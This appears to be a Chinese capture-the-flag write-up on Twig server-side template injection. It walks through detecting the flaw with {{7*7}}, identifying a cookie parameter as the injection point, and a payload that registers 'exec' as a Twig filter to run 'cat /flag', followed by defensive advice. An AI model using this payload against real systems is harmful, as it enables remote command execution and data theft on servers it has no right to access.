0x00 知识点
- Twig模板注入
0x01 知识点详解
- 什么是Twig模板注入?
答:这里推荐一位大佬的文章,看看人家的博客,才是真的强。
https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之SSTI漏洞/#2-Twig
0x02 解题思路
- 什么都没有,点开flag
- 发现是个登录界面,尝试经典{{7*7}}后判断是Twig模板注入
- 再hint页面查看源码
发现提示指向了cookie,再flag页面登录的时候抓包分析。
推测出cookie里的user参数就是注入点,那接下里就直接构造payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};
0x03 防护方法
- 和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制
- 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法